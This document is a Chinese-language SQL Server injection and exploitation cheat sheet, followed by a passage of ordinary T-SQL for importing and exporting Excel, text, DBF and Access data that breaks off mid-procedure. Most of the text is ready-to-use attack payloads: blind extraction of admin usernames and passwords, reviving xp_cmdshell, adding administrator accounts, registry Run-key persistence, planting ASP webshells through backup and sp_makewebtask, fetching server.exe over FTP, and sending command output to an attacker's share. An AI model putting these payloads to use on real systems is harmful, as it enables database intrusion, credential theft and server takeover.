mssql 注入

注入查閱php

1、返回的是鏈接的數據庫名
and db_name()>0
2、做用是獲取鏈接用戶名
and user>0
3、將數據庫備份到Web目錄下面
;backup database 數據庫名 to disk='c:\inetpub\wwwroot\1.db';--
4、顯示SQL系統版本
and 1=(select @@VERSION) 或and 1=convert(int,@@version)--
5、判斷xp_cmdshell擴展存儲過程是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
6、恢復xp_cmdshell擴展存儲的命令
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
7、向啓動組中寫入命令行和執行程序
;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\
Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
8、查看當前的數據庫名稱
and 0 <> db_name(n) n改爲0,1,2,3……就能夠跨庫了 或and 1=convert(int,db_name())--
9、不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令(同第76)
10、則把獲得的數據內容所有備份到WEB目錄下
;backup database 數據庫名 to disk='c:\inetpub\wwwroot\save.db'
11、經過複製CMD建立UNICODE漏洞
;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe   c:\inetpub\scripts\cmd.exe"
12、遍歷系統的目錄結構,分析結果並發現WEB虛擬目錄
先建立一個臨時表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
(1)利用xp_availablemedia來得到當前全部驅動器,並存入temp表中    ;insert temp exec master.dbo.xp_availablemedia;--
經過查詢temp的內容來得到驅動器列表及相關信息
(2)利用xp_subdirs得到子目錄列表,並存入temp表中                    ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
(3)還能夠利用xp_dirtree得到全部子目錄的目錄樹結構,並寸入temp表中   ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功)
13、查看某個文件的內容,能夠經過執行xp_cmdsell
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
14、將一個文本文件插入到一個臨時表中
;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
15、每完成一項瀏覽後,應刪除TEMP中的全部內容,刪除方法是:
;delete from temp;--
16、瀏覽TEMP表的方法是:
and (select top 1 id from TestDB.dbo.temp)>0 假設TestDB是當前鏈接的數據庫名
17、猜解全部數據庫名稱
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0   dbid=6,7,8分別獲得其它庫名
18、猜解數據庫中用戶名錶的名稱
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工做正常,不然異常。如此循環,直到猜到系統賬號表的名稱。
19、判斷是不是sysadmin權限
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
20、判斷是不是SA用戶
'sa'=(SELECT System_user)
21、查看數據庫角色
;use model--
22、查看庫名
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--
23、得到第一個用戶創建表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0   假設要得到數據庫是TestDB.dbo
24、得到第二個用戶創建的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0
25、得到第三個用戶創建的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0   ''中爲第二個用戶名
26、得到第四個用戶創建的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0   '',''中爲第二,三個用戶名
27、得到表中記錄的條數
and (select count(*) from 表名)<5 記錄條數小於5   或   <10 記錄條數小於10   ……等等
28、測試權限結構(mssql)
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(SELECT IS_MEMBER('db_owner'));--
29、 添加mssql和系統的賬戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
30、 簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';

請求的時候,像這樣子用:
http://ip/l.asp?c=dir
31、猜解字段名稱
猜解法:and (select count(字段名) from 表名)>0   若「字段名」存在,則返回正常
讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0   把col_name(object_id('表名'),1)中的1依次換成2,3,4,56…就可獲得全部的字段名稱。
32、 猜解用戶名與密碼
ASCII碼逐字解碼法:基本的思路是先猜出字段的長度,而後依次猜出每一位的值
and (select top 1 len(username) from admin)=X(X=1,23,45,… n,假設:username爲用戶名字段的名稱,admin爲表的名稱   若x爲某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。
and (select top 1 ascii(substring(username,m,1)) from admin)=n   (m的值在上一步獲得的用戶名長度之間,當m=12,3,…時猜想分別猜想第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin爲系統用戶賬號表的名稱),
33、創建數據表
;create table 表名 (列名1 數據類型,列名2 數據類型);--
34、向表格中插入數據
;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);--
35、更新記錄
update 表名 set 列名1=''…… where ……
36、刪除記錄
delete from 表名 where ……
37、刪除數據庫表格
drop table 表名
38、將文本文件導入表
使用'bulk insert'語法能夠將一個文本文件插入到一個臨時表中。簡單地建立這個表:
create table foo( line varchar(8000))
而後執行bulk insert操做把文件中的數據插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
39、備份當前數據庫的命令:
declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--
40、使用sp_makewebtask處理過程的相關請求寫入URL
; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
41、將得到SQLSERVER進程的當前工做目錄中的目錄列表
Exec master..xp_cmdshell 'dir'
42、將提供服務器上全部用戶的列表
Exec master..xp_cmdshell 'net user'
43、讀註冊表存儲過程
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
44、xp_servicecontrol過程容許用戶啓動,中止,暫停和繼續服務
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
45、顯示機器上有用的驅動器
Xp_availablemedia
46、容許得到一個目錄樹
Xp_dirtree
47、提供進程的進程ID,終止此進程
Xp_terminate_process
48、恢復xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'
49、堵上cmdshell的SQL語句
sp_dropextendedproc "xp_cmdshell"
50、不須要XP_CMDSHLL直接添加系統賬號,對XPLOG70.DLL被刪頗有效
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--
51、在數據庫內添加一個hax用戶
;exec sp_addlogin hax;--
52、給hax設置密碼
;exec master.dbo.sp_password null,username,password;--
53、將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
54、(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步獲得的paths'))>)
55、(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 得到子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 得到全部子目錄的目錄樹結構
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內容
56、mssql中的存儲過程
xp_regenumvalues 註冊表根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回全部鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 寫入註冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes 
View Code
啊D注入的命令:

//看看是什麼權限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//檢測是否有讀取某數據庫的權限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --


數字類型
and char(124)%2Buser%2Bchar(124)=0

字符類型
' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜索類型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆用戶名
and user>0
' and user>0 and ''='

檢測是否爲SA權限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

檢測是否是MSSQL數據庫
and exists (select * from sysobjects);-- 

檢測是否支持多行
;declare @d int;-- 

恢復 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--


select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 

//-----------------------
//      執行命令
//-----------------------
首先開啓沙盤模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

而後利用jet.oledb執行系統命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

執行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判斷xp_cmdshell擴展存儲過程是否存在:
[url=http://192.168.1.5/display.asp?keyno=188]連接標記http://192.168.1.5/display.asp?keyno=188[/url] and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

寫註冊表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

讀註冊表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

讀取目錄內容
exec master..xp_dirtree 'c:\winnt\system32\',1,1


數據庫備份
backup database pubs to disk = 'c:\123.bak'

//爆出長度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--



更改sa口令方法:用sql綜合利用工具鏈接後,執行命令:
exec sp_password NULL,'新密碼','sa'

添加和刪除一個SA權限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

刪除擴展存儲過過程xp_cmdshell的語句: 
exec sp_dropextendedproc 'xp_cmdshell'

添加擴展存儲過過程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 
GRANT exec On xp_proxiedadata TO public 


停掉或激活某個服務。 

exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

只列某個目錄下的子目錄。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

將目標多個檔案壓縮到某個目標檔案以內。
全部要壓縮的檔案均可以接在參數列的最後方,以逗號隔開。

dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

停掉某個執行中的程序,但賦予的參數是 Process ID。
利用」工做管理員」,透過選單「檢視」-「選擇字段」勾選 pid,就能夠看到每一個執行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

解開壓縮檔。

xp_unpackcab 'c:\test.cab','c:\temp',1


某機,安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了仍是被更名了,net.exe不存在,沒有辦法使用regedit /e 導入註冊文件,可是mssql是sa權限,使用以下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 便可修改密碼爲12345678。若是要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 則端口值改成1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//獲得數據庫名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases


//在Master中建立表,看看權限怎樣
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

用 sp_makewebtask直接在web目錄裏寫入一句話馬:
[url=http://127.0.0.1/dblogin123.asp?username=123]連接標記http://127.0.0.1/dblogin123.asp?username=123'[/url];exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表內容
Update films SET kind = 'Dramatic' Where id = 123

//刪除內容
delete from table_name where Stockid = 3
View Code

 

 

MSSQL下執行系統命令html

假設咱們已經鏈接一臺1433的服務器,

那咱們要如何來執行系統命令呢,這裏我就給你們講解下啦.

1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'
人人都知道的辦法,最大的好處是有回顯,可是最怕

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO

經過上面的T-SQL語句就能夠把這個擴展儲存刪了

咱們通常能夠用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'

就還原了.

可是有的人知道sp_addextendedproc也只不過是一個儲存過程同樣能夠刪除的

Drop PROCEDURE sp_addextendedproc
if exists (select * from 
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and 
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO 

還原:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO 

唉呀呀寫了這麼多其實有個最簡單的保護辦法:
先NET stop mssqlserver,而後把xplog70.dll(SQL97下用xpsql70.dll)刪了
再把服務打開就能夠了

2)
看了上面的你就明白了xp_cmdshell最終是能夠被刪除的,沒別的辦法了嗎?
有寫註冊表三:
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run', 'czy82','REG_SZ', net user czy bb /add

其實註冊表還有好幾個地方能夠寫的好比說註冊表中的WEB瀏覽設置
用寫註冊表的辦法很差的地方是不但沒有回顯並且不能立刻運行,實不實用我也不知道了

3)
declare @s int
exec sp_oacreate "wscript.shell",@s out
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"
exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

對了正如你看到的咱們還可使用sp_oacreate和sp_oamethod,在它們的做用下咱們能夠
調用系統的控件好比說fso,wsh,shell什麼的,可是有個問題是並不能象xp_cmdshell那樣
立刻看到結果,真的不能嗎看下面的:

declare @s int,@o int ,@f int,@str nvarchar(4000)
/*exec sp_oacreate "wscript.shell",@s out
exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1
exec sp_oamethod @f, "readall",@str out
print @str

先執行註解內的而後執行外面的其實原理很簡單就是利用>把結果寫到一個文件中而後用
fso來讀出來!很實用的

------------------------------------------
寫到這兒該做個總結了上面三個辦法可能你們都知道吧
下面的可能知道的人就少了
------------------------------------------

4)
use msdb; --這兒不要是master喲
exec sp_add_job @job_name='czy82';
exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:\>c:\b.txt';
exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';
exec sp_start_job @job_name='czy82';

利用MSSQL的做業處理也是能夠執行命令的並且若是上面的subsystem的參數是tsql,後面的咱們就能夠
執行tsql語句了.
對於這幾個儲存過程的使用第一在@server_name咱們要指定你的sql的服務器名
第二系統的sqlserveragent服務必須打開(默認沒打開的氣人了吧)
net start SQLSERVERAGENT

對於這個東東還有一個地方不一樣就是public也能夠執行..同這兒也是有系統洞洞的看下面的
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = '你的SQL的服務器名'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

不要懷疑上面的代碼,我是測試成功了的!這兒咱們要注意xp_execresultset就是由於它因此
才讓咱們能夠以public執行xp_cmdshell

5)關於Microsoft SQL Agent Jobs任意文件可刪除覆蓋漏洞(public用戶也能夠)
在安焦有文章:[url=http://www.xfocus.net/vuln/vul_view.php?vul_id=2968]連接標記http://www.xfocus.net/vuln/vul_view.php?vul_id=2968[/url]

USE msdb
EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'
EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'ArbitraryFileCreate' 

若是subsystem選的是:tsql,在生成的文件的頭部有以下內容

??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
----------------------------------------------
hello, this file was created by the SQL Agent.

(1 ?????)

因此我建議要生成文件最好subsystem選cmdexec,若是利用得好咱們能夠寫一個有添加管理員
命令的vbs文件到啓動目錄!

6)關於sp_makewebtask(能夠寫任意內容任意文件名的文件)
關於sp_MScopyscriptfile 看下面的例子
declare @command varchar(100) 
declare @scripfile varchar(200) 
set concat_null_yields_null off 
select @command='dir c:\ > "\\attackerip\share\dir.txt"' 
select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "' 
exec sp_MScopyscriptfile @scripfile ,'' 

這兩個東東都還在測試試喲
讓MSSQL的public用戶獲得一個本機的web shell:)

sp_makewebtask @outputfile='d:\sms\a.asp',@charset=gb2312,
--@query='select ''<img src=vbscript:msgbox(now())>'''
--@query='select ''<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>'' '
@query='select ''
<%On Error Resume Next 
Set oscript = Server.CreateObject("wscript.SHELL") 
Set oscriptNet = Server.CreateObject("wscript.NETWORK") 
Set oFileSys = Server.CreateObject("scripting.FileSystemObject") 
szCMD = Request.Form(".CMD") 
If (szCMD <>"")Then 
szTempFile = "C:\" & oFileSys.GetTempName() 
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 
End If %> 
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="POST"> 
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 
</FORM><PRE> 
<% If (IsObject(oFile))Then 
On Error Resume Next 
Response.Write Server.HTMLEncode(oFile.ReadAll) 
oFile.Close 
Call oFileSys.DeleteFile(szTempFile, True) 
End If%> 
</BODY></HTML> '''
View Code

 

 

SQL語句導入導出各種文件web

/******* 導出到excel 
EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""' 

/*********** 導入Excel 
Select * 
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions 

/*動態文件名 
declare @fn varchar(20),@s varchar(1000) 
set @fn = 'c:\test.xls' 
set @s ='''Microsoft.Jet.OLEDB.4.0'', 
''Data Source="'+@fn+'";User ID=Admin;Password=;Extended properties=Excel 5.0''' 
set @s = 'Select * FROM OpenDataSource ('+@s+')...sheet1$' 
exec(@s) 
*/ 

Select cast(cast(科目編號 as numeric(10,2)) as nvarchar(255))+' ' 轉換後的別名 
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions 

/********************** EXCEL導到遠程SQL 
insert OPENDATASOURCE( 
'SQLOLEDB', 
'Data Source=遠程ip;User ID=sa;Password=密碼' 
).庫名.dbo.表名 (列名1,列名2) 
Select 列名1,列名2 
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions 


/** 導入文本文件 
EXEC master..xp_cmdshell 'bcp dbname..tablename in c:\DT.txt -c -Sservername -Usa -Ppassword' 

/** 導出文本文件 
EXEC master..xp_cmdshell 'bcp dbname..tablename out c:\DT.txt -c -Sservername -Usa -Ppassword' 
或 
EXEC master..xp_cmdshell 'bcp "Select * from dbname..tablename" queryout c:\DT.txt -c -Sservername -Usa -Ppassword' 

導出到TXT文本,用逗號分開 
exec master..xp_cmdshell 'bcp "庫名..表名" out "d:\tt.txt" -c -t ,-U sa -P password' 


BULK Insert 庫名..表名 
FROM 'c:\test.txt' 
WITH ( 
FIELDTERMINATOR = ';', 
ROWTERMINATOR = '\n' 
) 


--/* dBase IV文件 
select * from 
OPENROWSET('MICROSOFT.JET.OLEDB.4.0' 
,'dBase IV;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客戶資料4.dbf]') 
--*/ 

--/* dBase III文件 
select * from 
OPENROWSET('MICROSOFT.JET.OLEDB.4.0' 
,'dBase III;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客戶資料3.dbf]') 
--*/ 

--/* FoxPro 數據庫 
select * from openrowset('MSDASQL', 
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\', 
'select * from [aa.DBF]') 
--*/ 

/**************導入DBF文件****************/ 
select * from openrowset('MSDASQL', 
'Driver=Microsoft Visual FoxPro Driver; 
SourceDB=e:\VFP98\data; 
SourceType=DBF', 
'select * from customer where country != "USA" order by country') 
go 
/***************** 導出到DBF ***************/ 
若是要導出數據到已經生成結構(即現存的)FOXPRO表中,能夠直接用下面的SQL語句 

insert into openrowset('MSDASQL', 
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\', 
'select * from [aa.DBF]') 
select * from 表 

說明: 
SourceDB=c:\ 指定foxpro表所在的文件夾 
aa.DBF 指定foxpro表的文件名. 


/*************導出到Access********************/ 
insert into openrowset('Microsoft.Jet.OLEDB.4.0', 
'x:\A.mdb';'admin';'',A表) select * from 數據庫名..B表 

/*************導入Access********************/ 
insert into B表 selet * from openrowset('Microsoft.Jet.OLEDB.4.0', 
'x:\A.mdb';'admin';'',A表) 

文件名爲參數 
declare @fname varchar(20) 
set @fname = 'd:\test.mdb' 
exec('Select a.* FROM opendatasource(''Microsoft.Jet.OLEDB.4.0'', 
'''+@fname+''';''admin'';'''', topics) as a ') 

Select * 
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 
'Data Source="f:\northwind.mdb";Jet OLEDB:Database Password=123;User ID=Admin;Password=;')...產品 

********************* 導入 xml 文件 

DECLARE @idoc int 
DECLARE @doc varchar(1000) 
--sample XML document 
SET @doc =' 
<root> 
<Customer cid= "C1" name="Janine" city="Issaquah"> 
<Order oid="O1" date="1/20/1996" amount="3.5" /> 
<Order oid="O2" date="4/30/1997" amount="13.4">Customer was very satisfied 
</Order> 
</Customer> 
<Customer cid="C2" name="Ursula" city="Oelde" > 
<Order oid="O3" date="7/14/1999" amount="100" note="Wrap it blue 
white red"> 
<Urgency>Important</Urgency> 
Happy Customer. 
</Order> 
<Order oid="O4" date="1/20/1996" amount="10000"/> 
</Customer> 
</root> 
' 
-- Create an internal representation of the XML document. 
EXEC sp_xml_preparedocument @idoc OUTPUT, @doc 

-- Execute a Select statement using OPENXML rowset provider. 
Select * 
FROM OPENXML (@idoc, '/root/Customer/Order', 1) 
WITH (oid char(5), 
amount float, 
comment ntext 'text()') 
EXEC sp_xml_removedocument @idoc 


??????? 

/**********************Excel導到Txt****************************************/ 
想用 
select * into opendatasource(...) from opendatasource(...) 
實現將一個Excel文件內容導入到一個文本文件 

假設Excel中有兩列,第一列爲姓名,第二列爲很行賬號(16位) 
且銀行賬號導出到文本文件後分兩部分,前8位和後8位分開。 


鄒健: 
若是要用你上面的語句插入的話,文本文件必須存在,並且有一行:姓名,銀行帳號1,銀行帳號2 
而後就能夠用下面的語句進行插入 
注意文件名和目錄根據你的實際狀況進行修改. 

insert into 
opendatasource('MICROSOFT.JET.OLEDB.4.0' 
,'Text;HDR=Yes;DATABASE=C:\' 
)...[aa#txt] 
--,aa#txt) 
--*/ 
select 姓名,銀行帳號1=left(銀行帳號,8),銀行帳號2=right(銀行帳號,8) 
from 
opendatasource('MICROSOFT.JET.OLEDB.4.0' 
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls' 
--,Sheet1$) 
)...[Sheet1$] 


若是你想直接插入並生成文本文件,就要用bcp 

declare @sql varchar(8000),@tbname varchar(50) 

--首先將excel表內容導入到一個全局臨時表 
select @tbname='[##temp'+cast(newid() as varchar(40))+']' 
,@sql='select 姓名,銀行帳號1=left(銀行帳號,8),銀行帳號2=right(銀行帳號,8) 
into '+@tbname+' from 
opendatasource(''MICROSOFT.JET.OLEDB.4.0'' 
,''Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls'' 
)...[Sheet1$]' 
exec(@sql) 

--而後用bcp從全局臨時表導出到文本文件 
set @sql='bcp "'+@tbname+'" out "c:\aa.txt" /S"(local)" /P"" /c' 
exec master..xp_cmdshell @sql 

--刪除臨時表 
exec('drop table '+@tbname) 


/********************導整個數據庫*********************************************/ 

用bcp實現的存儲過程 


/* 
實現數據導入/導出的存儲過程 
根據不一樣的參數,能夠實現導入/導出整個數據庫/單個表 
調用示例: 
--導出調用示例 
----導出單個表 
exec file2table 'zj','','','xzkh_sa..地區資料','c:\zj.txt',1 
----導出整個數據庫 
exec file2table 'zj','','','xzkh_sa','C:\docman',1 

--導入調用示例 
----導入單個表 
exec file2table 'zj','','','xzkh_sa..地區資料','c:\zj.txt',0 
----導入整個數據庫 
exec file2table 'zj','','','xzkh_sa','C:\docman',0 

*/ 
if exists(select 1 from sysobjects where name='File2Table' and objectproperty(id,'IsProcedure')=1) 
drop procedure File2Table 
go 
create procedure File2Table 
@servername varchar(200) --服務器名 
